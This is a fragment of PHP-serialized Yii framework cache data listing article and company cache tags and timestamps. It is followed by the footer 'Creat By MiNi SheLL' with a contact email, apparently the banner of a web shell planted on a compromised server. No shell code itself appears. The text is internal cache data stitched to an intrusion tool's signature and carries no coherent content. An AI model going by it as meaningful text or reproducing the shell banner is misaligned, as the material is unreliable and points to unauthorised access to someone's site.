                                    ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:4:{i:0;s:13:"article_58962";i:1;s:8:"articles";i:2;s:22:"company_89374_articles";i:3;s:13:"company_89374";}s:4:"data";a:4:{s:32:"124c6c4be2a250d11248dea9af44db14";s:21:"0.74244400 1751849021";s:32:"9f4ebfa1b76d6bc6617aec9034853422";s:21:"0.22954000 1749980350";s:32:"85dfc4a963d04adab327b0cd4399db48";s:21:"0.81021200 1745853040";s:32:"1fc394c99a24b2488e97bde3931155e4";s:21:"0.81021200 1745853040";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com